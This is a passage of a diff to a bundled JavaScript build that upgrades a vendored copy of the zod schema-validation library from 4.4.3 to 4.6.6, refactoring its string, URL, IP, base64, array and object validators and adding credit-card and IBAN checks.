payload.issues.push({ origin, code: "too_big", maximum: def.maximum, inclusive: true, - input, + input: input2, inst, continue: !def.abort }); @@ -56723,27 +57065,20 @@ var $ZodCheckMaxLength = /* @__PURE__ */ $constructor("$ZodCheckMaxLength", (ins var $ZodCheckMinLength = /* @__PURE__ */ $constructor("$ZodCheckMinLength", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.length !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const curr = inst2._zod.bag.minimum ?? Number.NEGATIVE_INFINITY; - if (def.minimum > curr) - inst2._zod.bag.minimum = def.minimum; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasLength); inst._zod.check = (payload) => { - const input = payload.value; - const length = input.length; + const input2 = payload.value; + const units = input2.length; + const length = typeof input2 === "string" && units >= def.minimum && units < def.minimum * 2 ? codePointLength(input2) : units; if (length >= def.minimum) return; - const origin = getLengthableOrigin(input); + const origin = getLengthableOrigin(input2); payload.issues.push({ origin, code: "too_small", minimum: def.minimum, inclusive: true, - input, + input: input2, inst, continue: !def.abort }); @@ -56752,22 +57087,14 @@ var $ZodCheckMinLength = /* @__PURE__ */ $constructor("$ZodCheckMinLength", (ins var $ZodCheckLengthEquals = /* @__PURE__ */ $constructor("$ZodCheckLengthEquals", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.length !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.minimum = def.length; - bag.maximum = def.length; - bag.length = def.length; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasLength); inst._zod.check = (payload) => { - const input = payload.value; - const length = input.length; + const input2 = payload.value; + const units = input2.length; + const length = typeof input2 === "string" && units >= def.length && units <= def.length * 2 ? codePointLength(input2) : units; if (length === def.length) return; - const origin = getLengthableOrigin(input); + const origin = getLengthableOrigin(input2); const tooBig = length > def.length; payload.issues.push({ origin, @@ -56783,14 +57110,6 @@ var $ZodCheckLengthEquals = /* @__PURE__ */ $constructor("$ZodCheckLengthEquals" var $ZodCheckStringFormat = /* @__PURE__ */ $constructor("$ZodCheckStringFormat", (inst, def) => { var _a3, _b; $ZodCheck.init(inst, def); - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.format = def.format; - if (def.pattern) { - bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set()); - bag.patterns.add(def.pattern); - } - }); if (def.pattern) (_a3 = inst._zod).check ?? (_a3.check = (payload) => { def.pattern.lastIndex = 0; @@ -56838,13 +57157,8 @@ var $ZodCheckUpperCase = /* @__PURE__ */ $constructor("$ZodCheckUpperCase", (ins var $ZodCheckIncludes = /* @__PURE__ */ $constructor("$ZodCheckIncludes", (inst, def) => { $ZodCheck.init(inst, def); const escapedRegex = escapeRegex(def.includes); - const pattern = new RegExp(typeof def.position === "number" ? `^.{${def.position}}${escapedRegex}` : escapedRegex); + const pattern = new RegExp(typeof def.position === "number" ? `^.{${def.position},}${escapedRegex}` : escapedRegex); def.pattern = pattern; - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set()); - bag.patterns.add(pattern); - }); inst._zod.check = (payload) => { if (payload.value.includes(def.includes, def.position)) return; @@ -56863,11 +57177,6 @@ var $ZodCheckStartsWith = /* @__PURE__ */ $constructor("$ZodCheckStartsWith", (i $ZodCheck.init(inst, def); const pattern = new RegExp(`^${escapeRegex(def.prefix)}.*`); def.pattern ?? (def.pattern = pattern); - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set()); - bag.patterns.add(pattern); - }); inst._zod.check = (payload) => { if (payload.value.startsWith(def.prefix)) return; @@ -56886,11 +57195,6 @@ var $ZodCheckEndsWith = /* @__PURE__ */ $constructor("$ZodCheckEndsWith", (inst, $ZodCheck.init(inst, def); const pattern = new RegExp(`.*${escapeRegex(def.suffix)}$`); def.pattern ?? (def.pattern = pattern); - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set()); - bag.patterns.add(pattern); - }); inst._zod.check = (payload) => { if (payload.value.endsWith(def.suffix)) return; @@ -56924,12 +57228,37 @@ var $ZodCheckProperty = /* @__PURE__ */ $constructor("$ZodCheckProperty", (inst, return; }; }); +var $ZodCheckProperties = /* @__PURE__ */ $constructor("$ZodCheckProperties", (inst, def) => { + $ZodCheck.init(inst, def); + hide(inst, Symbol.iterator, function* () { + yield inst; + }); + let entries; + inst._zod.check = (payload) => { + if (payload.value == null) { + payload.issues.push({ expected: "object", code: "invalid_type", input: payload.value, inst }); + return void 0; + } + entries ?? (entries = Reflect.ownKeys(def.shape).map((key) => [key, def.shape[key]])); + const input2 = payload.value; + let proms; + for (const [key, schema] of entries) { + const result = schema._zod.run({ value: input2[key], issues: [] }, {}); + if (result instanceof Promise) { + proms ?? (proms = []); + proms.push(result.then((result2) => handleCheckPropertyResult(result2, payload, key))); + } else { + handleCheckPropertyResult(result, payload, key); + } + } + if (proms) + return Promise.all(proms).then(() => void 0); + return void 0; + }; +}); var $ZodCheckMimeType = /* @__PURE__ */ $constructor("$ZodCheckMimeType", (inst, def) => { $ZodCheck.init(inst, def); const mimeSet = new Set(def.mime); - inst._zod.onattach.push((inst2) => { - inst2._zod.bag.mime = def.mime; - }); inst._zod.check = (payload) => { if (mimeSet.has(payload.value.type)) return; @@ -56949,18 +57278,22 @@ var $ZodCheckOverwrite = /* @__PURE__ */ $constructor("$ZodCheckOverwrite", (ins }; }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/doc.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/doc.js var Doc = class { - constructor(args = []) { + constructor(args = [], closed = {}) { this.content = []; this.indent = 0; - if (this) - this.args = args; + this.args = args; + this.closed = closed; } + // the compiler catches a child's throw and keeps writing into this doc, so the indent has to unwind with it indented(fn) { this.indent += 1; - fn(this); - this.indent -= 1; + try { + fn(this); + } finally { + this.indent -= 1; + } } write(arg) { if (typeof arg === "function") { @@ -56978,31 +57311,30 @@ var Doc = class { } compile() { const F = Function; - const args = this?.args; const content = this?.content ?? [``]; - const lines = [...content.map((x) => ` ${x}`)]; - return new F(...args, lines.join("\n")); + const factory = new F(...Object.keys(this.closed), `return function (${this.args.join(", ")}) { +${content.join("\n")} +};`); + return factory(...Object.values(this.closed)); } }; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/versions.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/versions.js var version = { major: 4, - minor: 4, - patch: 3 + minor: 6, + patch: 6 }; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/schemas.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/schemas.js var $ZodType = /* @__PURE__ */ $constructor("$ZodType", (inst, def) => { var _a3; inst ?? (inst = {}); inst._zod.def = def; inst._zod.bag = inst._zod.bag || {}; inst._zod.version = version; - const checks = [...inst._zod.def.checks ?? []]; - if (inst._zod.traits.has("$ZodCheck")) { - checks.unshift(inst); - } + const defChecks = inst._zod.def.checks; + const checks = inst._zod.traits.has("$ZodCheck") ? [inst, ...defChecks ?? []] : defChecks?.length ? [...defChecks] : []; for (const ch of checks) { for (const fn of ch._zod.onattach) { fn(inst); @@ -57015,6 +57347,8 @@ var $ZodType = /* @__PURE__ */ $constructor("$ZodType", (inst, def) => { }); } else { const runChecks = (payload, checks2, ctx) => { + if (payload.memo) + return payload; let isAborted = aborted(payload); let asyncResult; for (const ch of checks2) { @@ -57038,6 +57372,7 @@ var $ZodType = /* @__PURE__ */ $constructor("$ZodType", (inst, def) => { const nextLen = payload.issues.length; if (nextLen === currLen) return; + attachSchema(payload.issues, currLen, inst); if (!isAborted) isAborted = aborted(payload, currLen); }); @@ -57045,6 +57380,7 @@ var $ZodType = /* @__PURE__ */ $constructor("$ZodType", (inst, def) => { const nextLen = payload.issues.length; if (nextLen === currLen) continue; + attachSchema(payload.issues, currLen, inst); if (!isAborted) isAborted = aborted(payload, currLen); } @@ -57091,22 +57427,39 @@ var $ZodType = /* @__PURE__ */ $constructor("$ZodType", (inst, def) => { return runChecks(result, checks, ctx); }; } - defineLazy(inst, "~standard", () => ({ +}, { + // Wrappers extend this by installing a richer factory over it; reading it eagerly would defeat the laziness. + get "~standard"() { + return hide(this, "~standard", standardProps(this)); + }, + set "~standard"(value) { + own(this, "~standard", value); + } +}); +var toStandardResult = (r, ctx) => r.issues.length ? { issues: r.issues.map((iss) => finalizeIssue(iss, ctx, config())) } : { value: r.value }; +async function validateAsync2(inst, value) { + const ctx = { async: true }; + return toStandardResult(await inst._zod.run({ value, issues: [] }, ctx), ctx); +} +function standardProps(inst) { + return { validate: (value) => { + const ctx = { async: false }; try { - const r = safeParse(inst, value); - return r.success ? { value: r.data } : { issues: r.error?.issues }; + const r = inst._zod.run({ value, issues: [] }, ctx); + if (!(r instanceof Promise)) + return toStandardResult(r, ctx); } catch (_) { - return safeParseAsync(inst, value).then((r) => r.success ? { value: r.data } : { issues: r.error?.issues }); } + return validateAsync2(inst, value); }, vendor: "zod", version: 1 - })); -}); + }; +} var $ZodString = /* @__PURE__ */ $constructor("$ZodString", (inst, def) => { $ZodType.init(inst, def); - inst._zod.pattern = [...inst?._zod.bag?.patterns ?? []].pop() ?? string(inst._zod.bag); + inst._zod.pattern = def.pattern ?? anyString; inst._zod.parse = (payload, _) => { if (def.coerce) try { @@ -57156,58 +57509,105 @@ var $ZodEmail = /* @__PURE__ */ $constructor("$ZodEmail", (inst, def) => { def.pattern ?? (def.pattern = email); $ZodStringFormat.init(inst, def); }); +var URL_BAD_FORMAT = 1; +var URL_UNPARSEABLE = 2; +function canParseURL(input2) { + try { + if (typeof URL !== "undefined" && typeof URL.canParse === "function") + return URL.canParse(input2); + new URL(input2); + return true; + } catch { + return false; + } +} +function validateURL(trimmed, def) { + if (!("normalize" in def) && !("hostname" in def) && !("protocol" in def)) { + return canParseURL(trimmed) || URL_UNPARSEABLE; + } + return parseURLObject(trimmed, def); +} +function parseURLObject(trimmed, def) { + if (!def.normalize && def.protocol?.source === httpProtocol.source && !/^https?:\/\//i.test(trimmed)) { + return URL_BAD_FORMAT; + } + try { + if (typeof URL !== "undefined") { + const URLStatic = URL; + if (typeof URLStatic.parse === "function") + return URLStatic.parse(trimmed) ?? URL_UNPARSEABLE; + } + return new URL(trimmed); + } catch { + return URL_UNPARSEABLE; + } +} +var asciiTabOrNewline = /[\t\n\r]/g; +function stripTabAndNewline(value) { + return value.replace(asciiTabOrNewline, ""); +} +function urlHostnameOk(url2, hostname3) { + hostname3.lastIndex = 0; + return hostname3.test(url2.hostname); +} +function urlProtocolOk(url2, protocol) { + protocol.lastIndex = 0; + return protocol.test(url2.protocol.endsWith(":") ? url2.protocol.slice(0, -1) : url2.protocol); +} var $ZodURL = /* @__PURE__ */ $constructor("$ZodURL", (inst, def) => { $ZodStringFormat.init(inst, def); inst._zod.check = (payload) => { try { const trimmed = payload.value.trim(); - if (!def.normalize && def.protocol?.source === httpProtocol.source) { - if (!/^https?:\/\//i.test(trimmed)) { - payload.issues.push({ - code: "invalid_format", - format: "url", - note: "Invalid URL format", - input: payload.value, - inst, - continue: !def.abort - }); - return; - } + const url2 = validateURL(trimmed, def); + if (url2 === URL_BAD_FORMAT) { + payload.issues.push({ + code: "invalid_format", + format: "url", + note: "Invalid URL format", + input: payload.value, + inst, + continue: !def.abort + }); + return; } - const url2 = new URL(trimmed); - if (def.hostname) { - def.hostname.lastIndex = 0; - if (!def.hostname.test(url2.hostname)) { - payload.issues.push({ - code: "invalid_format", - format: "url", - note: "Invalid hostname", - pattern: def.hostname.source, - input: payload.value, - inst, - continue: !def.abort - }); - } + if (url2 === URL_UNPARSEABLE) { + payload.issues.push({ + code: "invalid_format", + format: "url", + input: payload.value, + inst, + continue: !def.abort + }); + return; } - if (def.protocol) { - def.protocol.lastIndex = 0; - if (!def.protocol.test(url2.protocol.endsWith(":") ? url2.protocol.slice(0, -1) : url2.protocol)) { - payload.issues.push({ - code: "invalid_format", - format: "url", - note: "Invalid protocol", - pattern: def.protocol.source, - input: payload.value, - inst, - continue: !def.abort - }); - } + if (url2 === true) { + payload.value = stripTabAndNewline(trimmed); + return; } - if (def.normalize) { - payload.value = url2.href; - } else { - payload.value = trimmed; + if (def.hostname && !urlHostnameOk(url2, def.hostname)) { + payload.issues.push({ + code: "invalid_format", + format: "url", + note: "Invalid hostname", + pattern: def.hostname.source, + input: payload.value, + inst, + continue: !def.abort + }); + } + if (def.protocol && !urlProtocolOk(url2, def.protocol)) { + payload.issues.push({ + code: "invalid_format", + format: "url", + note: "Invalid protocol", + pattern: def.protocol.source, + input: payload.value, + inst, + continue: !def.abort + }); } + payload.value = def.normalize ? url2.href : stripTabAndNewline(trimmed); return; } catch (_) { payload.issues.push({ @@ -57225,7 +57625,9 @@ var $ZodEmoji = /* @__PURE__ */ $constructor("$ZodEmoji", (inst, def) => { $ZodStringFormat.init(inst, def); }); var $ZodNanoID = /* @__PURE__ */ $constructor("$ZodNanoID", (inst, def) => { - def.pattern ?? (def.pattern = nanoid); + if (def.length !== void 0 && (!Number.isInteger(def.length) || def.length < 1)) + throw new Error(`Invalid nanoid length: ${def.length}`); + def.pattern ?? (def.pattern = def.length === void 0 ? nanoid : nanoidOfLength(def.length)); $ZodStringFormat.init(inst, def); }); var $ZodCUID = /* @__PURE__ */ $constructor("$ZodCUID", (inst, def) => { @@ -57267,16 +57669,18 @@ var $ZodISODuration = /* @__PURE__ */ $constructor("$ZodISODuration", (inst, def var $ZodIPv4 = /* @__PURE__ */ $constructor("$ZodIPv4", (inst, def) => { def.pattern ?? (def.pattern = ipv4); $ZodStringFormat.init(inst, def); - inst._zod.bag.format = `ipv4`; }); +var ipv6Alphabet = /^[0-9a-fA-F:.]+$/; +function isValidIPv6(value) { + if (!ipv6Alphabet.test(value)) + return false; + return canParseURL(`http://[${value}]`); +} var $ZodIPv6 = /* @__PURE__ */ $constructor("$ZodIPv6", (inst, def) => { def.pattern ?? (def.pattern = ipv6); $ZodStringFormat.init(inst, def); - inst._zod.bag.format = `ipv6`; inst._zod.check = (payload) => { - try { - new URL(`http://[${payload.value}]`); - } catch { + if (!isValidIPv6(payload.value)) { payload.issues.push({ code: "invalid_format", format: "ipv6", @@ -57290,30 +57694,30 @@ var $ZodIPv6 = /* @__PURE__ */ $constructor("$ZodIPv6", (inst, def) => { var $ZodMAC = /* @__PURE__ */ $constructor("$ZodMAC", (inst, def) => { def.pattern ?? (def.pattern = mac(def.delimiter)); $ZodStringFormat.init(inst, def); - inst._zod.bag.format = `mac`; }); var $ZodCIDRv4 = /* @__PURE__ */ $constructor("$ZodCIDRv4", (inst, def) => { def.pattern ?? (def.pattern = cidrv4); $ZodStringFormat.init(inst, def); }); +function isValidCIDRv6(value) { + const parts = value.split("/"); + if (parts.length !== 2) + return false; + const [address, prefix] = parts; + if (!prefix) + return false; + const prefixNum = Number(prefix); + if (`${prefixNum}` !== prefix) + return false; + if (prefixNum < 0 || prefixNum > 128) + return false; + return isValidIPv6(address); +} var $ZodCIDRv6 = /* @__PURE__ */ $constructor("$ZodCIDRv6", (inst, def) => { def.pattern ?? (def.pattern = cidrv6); $ZodStringFormat.init(inst, def); inst._zod.check = (payload) => { - const parts = payload.value.split("/"); - try { - if (parts.length !== 2) - throw new Error(); - const [address, prefix] = parts; - if (!prefix) - throw new Error(); - const prefixNum = Number(prefix); - if (`${prefixNum}` !== prefix) - throw new Error(); - if (prefixNum < 0 || prefixNum > 128) - throw new Error(); - new URL(`http://[${address}]`); - } catch { + if (!isValidCIDRv6(payload.value)) { payload.issues.push({ code: "invalid_format", format: "cidrv6", @@ -57338,10 +57742,10 @@ function isValidBase64(data) { return false; } } +var base64Charset = /^[0-9a-zA-Z+/]*={0,2}$/; var $ZodBase64 = /* @__PURE__ */ $constructor("$ZodBase64", (inst, def) => { - def.pattern ?? (def.pattern = base64); + def.pattern ?? (def.pattern = base64Charset); $ZodStringFormat.init(inst, def); - inst._zod.bag.contentEncoding = "base64"; inst._zod.check = (payload) => { if (isValidBase64(payload.value)) return; @@ -57354,17 +57758,17 @@ var $ZodBase64 = /* @__PURE__ */ $constructor("$ZodBase64", (inst, def) => { }); }; }); +var base64urlCharset = /^[A-Za-z0-9_-]*$/; function isValidBase64URL(data) { - if (!base64url.test(data)) + if (!base64urlCharset.test(data)) return false; const base643 = data.replace(/[-_]/g, (c) => c === "-" ? "+" : "/"); const padded = base643.padEnd(Math.ceil(base643.length / 4) * 4, "="); return isValidBase64(padded); } var $ZodBase64URL = /* @__PURE__ */ $constructor("$ZodBase64URL", (inst, def) => { - def.pattern ?? (def.pattern = base64url); + def.pattern ?? (def.pattern = base64urlCharset); $ZodStringFormat.init(inst, def); - inst._zod.bag.contentEncoding = "base64url"; inst._zod.check = (payload) => { if (isValidBase64URL(payload.value)) return; @@ -57381,6 +57785,71 @@ var $ZodE164 = /* @__PURE__ */ $constructor("$ZodE164", (inst, def) => { def.pattern ?? (def.pattern = e164); $ZodStringFormat.init(inst, def); }); +var CC_SANITIZE = /[- ]/g; +function isLuhnAlgo(digits) { + let length = digits.length; + let bit2 = 1; + let sum = 0; + while (length) { + const value = digits.charCodeAt(--length) - 48; + bit2 ^= 1; + sum += bit2 ? [0, 2, 4, 6, 8, 1, 3, 5, 7, 9][value] : value; + } + return sum % 10 === 0; +} +function isValidCreditCard(input2) { + if (!creditCard.test(input2)) + return false; + return isLuhnAlgo(input2.replace(CC_SANITIZE, "")); +} +var $ZodCreditCard = /* @__PURE__ */ $constructor("$ZodCreditCard", (inst, def) => { + def.pattern ?? (def.pattern = creditCard); + $ZodStringFormat.init(inst, def); + inst._zod.check = (payload) => { + if (isValidCreditCard(payload.value)) + return; + payload.issues.push({ + code: "invalid_format", + format: "credit_card", + input: payload.value, + inst, + continue: !def.abort + }); + }; +}); +function isIso7064Mod97(iban3) { + let remainder = 0; + const len = iban3.length; + for (let i = 4; i < len; i++) { + const code = iban3.charCodeAt(i); + remainder = (code >= 65 ? remainder * 100 + (code - 55) : remainder * 10 + (code - 48)) % 97; + } + for (let i = 0; i < 4; i++) { + const code = iban3.charCodeAt(i); + remainder = (code >= 65 ? remainder * 100 + (code - 55) : remainder * 10 + (code - 48)) % 97; + } + return remainder === 1; +} +function isValidIBAN(input2) { + if (!iban.test(input2)) + return false; + return isIso7064Mod97(input2); +} +var $ZodIBAN = /* @__PURE__ */ $constructor("$ZodIBAN", (inst, def) => { + def.pattern ?? (def.pattern = iban); + $ZodStringFormat.init(inst, def); + inst._zod.check = (payload) => { + if (isValidIBAN(payload.value)) + return; + payload.issues.push({ + code: "invalid_format", + format: "iban", + input: payload.value, + inst, + continue: !def.abort + }); + }; +}); function isValidJWT(token, algorithm = null) { try { const tokensParts = token.split("."); @@ -57431,22 +57900,22 @@ var $ZodCustomStringFormat = /* @__PURE__ */ $constructor("$ZodCustomStringForma }); var $ZodNumber = /* @__PURE__ */ $constructor("$ZodNumber", (inst, def) => { $ZodType.init(inst, def); - inst._zod.pattern = inst._zod.bag.pattern ?? number; + inst._zod.pattern = number; inst._zod.parse = (payload, _ctx) => { if (def.coerce) try { payload.value = Number(payload.value); } catch (_) { } - const input = payload.value; - if (typeof input === "number" && !Number.isNaN(input) && Number.isFinite(input)) { + const input2 = payload.value; + if (typeof input2 === "number" && !Number.isNaN(input2) && Number.isFinite(input2)) { return payload; } - const received = typeof input === "number" ? Number.isNaN(input) ? "NaN" : !Number.isFinite(input) ? "Infinity" : void 0 : void 0; + const received = typeof input2 === "number" ? Number.isNaN(input2) ? "NaN" : !Number.isFinite(input2) ? String(input2) : void 0 : void 0; payload.issues.push({ expected: "number", code: "invalid_type", - input, + input: input2, inst, ...received ? { received } : {} }); @@ -57466,13 +57935,13 @@ var $ZodBoolean = /* @__PURE__ */ $constructor("$ZodBoolean", (inst, def) => { payload.value = Boolean(payload.value); } catch (_) { } - const input = payload.value; - if (typeof input === "boolean") + const input2 = payload.value; + if (typeof input2 === "boolean") return payload; payload.issues.push({ expected: "boolean", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -57505,13 +57974,13 @@ var $ZodBigIntFormat = /* @__PURE__ */ $constructor("$ZodBigIntFormat", (inst, d var $ZodSymbol = /* @__PURE__ */ $constructor("$ZodSymbol", (inst, def) => { $ZodType.init(inst, def); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (typeof input === "symbol") + const input2 = payload.value; + if (typeof input2 === "symbol") return payload; payload.issues.push({ expected: "symbol", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -57522,13 +57991,13 @@ var $ZodUndefined = /* @__PURE__ */ $constructor("$ZodUndefined", (inst, def) => inst._zod.pattern = _undefined; inst._zod.values = /* @__PURE__ */ new Set([void 0]); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (typeof input === "undefined") + const input2 = payload.value; + if (typeof input2 === "undefined") return payload; payload.issues.push({ expected: "undefined", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -57539,13 +58008,13 @@ var $ZodNull = /* @__PURE__ */ $constructor("$ZodNull", (inst, def) => { inst._zod.pattern = _null; inst._zod.values = /* @__PURE__ */ new Set([null]); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (input === null) + const input2 = payload.value; + if (input2 === null) return payload; payload.issues.push({ expected: "null", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -57574,13 +58043,13 @@ var $ZodNever = /* @__PURE__ */ $constructor("$ZodNever", (inst, def) => { var $ZodVoid = /* @__PURE__ */ $constructor("$ZodVoid", (inst, def) => { $ZodType.init(inst, def); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (typeof input === "undefined") + const input2 = payload.value; + if (typeof input2 === "undefined") return payload; payload.issues.push({ expected: "void", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -57595,21 +58064,46 @@ var $ZodDate = /* @__PURE__ */ $constructor("$ZodDate", (inst, def) => { } catch (_err) { } } - const input = payload.value; - const isDate = input instanceof Date; - const isValidDate = isDate && !Number.isNaN(input.getTime()); + const input2 = payload.value; + const isDate = input2 instanceof Date; + const isValidDate = isDate && !Number.isNaN(input2.getTime()); if (isValidDate) return payload; payload.issues.push({ expected: "date", code: "invalid_type", - input, + input: input2, ...isDate ? { received: "Invalid Date" } : {}, inst }); return payload; }; }); +function capSize(inst, size2) { + const caps = sizeCaps(inst._zod.def.checks); + if (!caps.length) + return; + const cap = Math.min(...caps.map((c) => c[0])); + const parse4 = inst._zod.parse; + inst._zod.parse = (payload, ctx) => { + const n = size2(payload.value); + if (n > cap && !ctx?.skipChecks && ctx?.direction !== "backward") { + for (const [max, ch] of sizeCaps(inst._zod.def.checks)) { + if (n > max && ch._zod.def.when(payload)) { + const start = payload.issues.length; + ch._zod.check(payload); + payload.issues[start].continue = false; + attachSchema(payload.issues, start, inst); + return payload; + } + } + } + return parse4(payload, ctx); + }; +} +var arraySize = (input2) => Array.isArray(input2) ? input2.length : -1; +var mapSize = (input2) => input2 instanceof Map ? input2.size : -1; +var setSize = (input2) => input2 instanceof Set ? input2.size : -1; function handleArrayResult(result, final, index2) { if (result.issues.length) { final.issues.push(...prefixIssues(index2, result.issues)); @@ -57618,21 +58112,24 @@ function handleArrayResult(result, final, index2) { } var $ZodArray = /* @__PURE__ */ $constructor("$ZodArray", (inst, def) => { $ZodType.init(inst, def); + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!Array.isArray(input)) { + const input2 = payload.value; + if (!Array.isArray(input2)) { payload.issues.push({ expected: "array", code: "invalid_type", - input, + input: input2, inst }); return payload; } - payload.value = Array(input.length); + payload.value = memo2 ? memo2.alloc(inst, payload, Array(input2.length), ctx) : Array(input2.length); const proms = []; - for (let i = 0; i < input.length; i++) { - const item = input[i]; + const abortEarly = ctx?.abortEarly; + for (let i = 0; i < input2.length; i++) { + const item = input2[i]; const result = def.element._zod.run({ value: item, issues: [] @@ -57641,6 +58138,8 @@ var $ZodArray = /* @__PURE__ */ $constructor("$ZodArray", (inst, def) => { proms.push(result.then((result2) => handleArrayResult(result2, payload, i))); } else { handleArrayResult(result, payload, i); + if (abortEarly && result.issues.length !== 0 && aborted(result)) + break; } } if (proms.length) { @@ -57648,16 +58147,21 @@ var $ZodArray = /* @__PURE__ */ $constructor("$ZodArray", (inst, def) => { } return payload; }; + capSize(inst, arraySize); }); -function handlePropertyResult(result, final, key, input, isOptionalIn, isOptionalOut) { - const isPresent = key in input; +function handlePropertyResult(result, final, key, input2, optin, optout) { + const isPresent = key in input2; + const isOptionalOut = optout === "optional"; + if (!isPresent && isOptionalOut && optin === "optional") { + return; + } if (result.issues.length) { - if (isOptionalIn && isOptionalOut && !isPresent) { + if (optin !== void 0 && isOptionalOut && !isPresent) { return; } final.issues.push(...prefixIssues(key, result.issues)); } - if (!isPresent && !isOptionalIn) { + if (!isPresent && optin === void 0) { if (!result.issues.length) { final.issues.push({ code: "invalid_type", @@ -57669,58 +58173,75 @@ function handlePropertyResult(result, final, key, input, isOptionalIn, isOptiona return; } if (result.value === void 0) { - if (isPresent) { + if (isPresent || optin === "defaulted" && !isOptionalOut) { final.value[key] = void 0; } } else { final.value[key] = result.value; } } +var NO_SYMBOL_KEYS = []; function normalizeDef(def) { const keys = Object.keys(def.shape); - for (const k of keys) { + const ownSymbols = Object.getOwnPropertySymbols(def.shape); + const symbolKeys = ownSymbols.length ? ownSymbols : NO_SYMBOL_KEYS; + const allKeys = symbolKeys.length ? [...keys, ...symbolKeys] : keys; + for (const k of allKeys) { if (!def.shape?.[k]?._zod?.traits?.has("$ZodType")) { - throw new Error(`Invalid element at key "${k}": expected a Zod schema`); + throw new Error(`Invalid element at key "${String(k)}": expected a Zod schema`); } } const okeys = optionalKeys(def.shape); return { ...def, - keys, + allKeys, + symbolKeys, + // string-only: handleCatchall matches it against `for...in`, which never yields a symbol keySet: new Set(keys), numKeys: keys.length, optionalKeys: new Set(okeys) }; } -function handleCatchall(proms, input, payload, ctx, def, inst) { +function handleCatchall(proms, input2, payload, ctx, def, inst, abortEarly) { const unrecognized = []; const keySet = def.keySet; const _catchall = def.catchall._zod; const t = _catchall.def.type; - const isOptionalIn = _catchall.optin === "optional"; - const isOptionalOut = _catchall.optout === "optional"; - for (const key in input) { - if (key === "__proto__") - continue; + const optin = _catchall.optin; + const optout = _catchall.optout; + let seen = 0; + for (const key in input2) { + if (abortEarly && payload.issues.length !== seen) { + if (aborted(payload, seen)) + break; + seen = payload.issues.length; + } if (keySet.has(key)) continue; + if (key === "__proto__") { + if (t === "never") + unrecognized.push(key); + continue; + } if (t === "never") { unrecognized.push(key); continue; } - const r = _catchall.run({ value: input[key], issues: [] }, ctx); + const r = _catchall.run({ value: input2[key], issues: [] }, ctx); if (r instanceof Promise) { - proms.push(r.then((r2) => handlePropertyResult(r2, payload, key, input, isOptionalIn, isOptionalOut))); + proms.push(r.then((r2) => handlePropertyResult(r2, payload, key, input2, optin, optout))); } else { - handlePropertyResult(r, payload, key, input, isOptionalIn, isOptionalOut); + handlePropertyResult(r, payload, key, input2, optin, optout); } } if (unrecognized.length) { payload.issues.push({ code: "unrecognized_keys", keys: unrecognized, - input, - inst + input: input2, + inst, + // Describes the shape of the input, not the validity of the parsed value, so it never aborts. The parse still fails; the schema's own checks just get to run first, and an enclosing intersection can reconcile the key against a sibling operand. + continue: true }); } if (!proms.length) @@ -57732,28 +58253,31 @@ function handleCatchall(proms, input, payload, ctx, def, inst) { var $ZodObject = /* @__PURE__ */ $constructor("$ZodObject", (inst, def) => { $ZodType.init(inst, def); const desc2 = Object.getOwnPropertyDescriptor(def, "shape"); - if (!desc2?.get) { - const sh = def.shape; - Object.defineProperty(def, "shape", { - get: () => { - const newSh = { ...sh }; - Object.defineProperty(def, "shape", { - value: newSh - }); - return newSh; - } - }); + const sh = desc2?.get ? desc2.get.raw : def.shape ?? {}; + if (sh) { + const get = () => { + const newSh = { ...sh }; + Object.defineProperty(def, "shape", { value: newSh }); + get.raw = newSh; + return newSh; + }; + get.raw = sh; + Object.defineProperty(def, "shape", { get }); } const _normalized = cached(() => normalizeDef(def)); - defineLazy(inst._zod, "propValues", () => { - const shape = def.shape; + defineLazyInternal(inst, "propValues", (zod) => { + const shape = zod.def.shape; const propValues = {}; for (const key in shape) { const field = shape[key]._zod; if (field.values) { - propValues[key] ?? (propValues[key] = /* @__PURE__ */ new Set()); + if (!Object.prototype.hasOwnProperty.call(propValues, key)) { + assignProp(propValues, key, /* @__PURE__ */ new Set()); + } for (const v of field.values) propValues[key].add(v); + if (field.optin !== void 0) + propValues[key].add(void 0); } } return propValues; @@ -57761,91 +58285,107 @@ var $ZodObject = /* @__PURE__ */ $constructor("$ZodObject", (inst, def) => { const isObject3 = isObject2; const catchall = def.catchall; let value; + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { value ?? (value = _normalized.value); - const input = payload.value; - if (!isObject3(input)) { + const input2 = payload.value; + if (!isObject3(input2)) { payload.issues.push({ expected: "object", code: "invalid_type", - input, + input: input2, inst }); return payload; } - payload.value = {}; + payload.value = memo2 ? memo2.alloc(inst, payload, {}, ctx) : {}; const proms = []; const shape = value.shape; - for (const key of value.keys) { + const abortEarly = ctx?.abortEarly; + let seen = payload.issues.length; + for (const key of value.allKeys) { 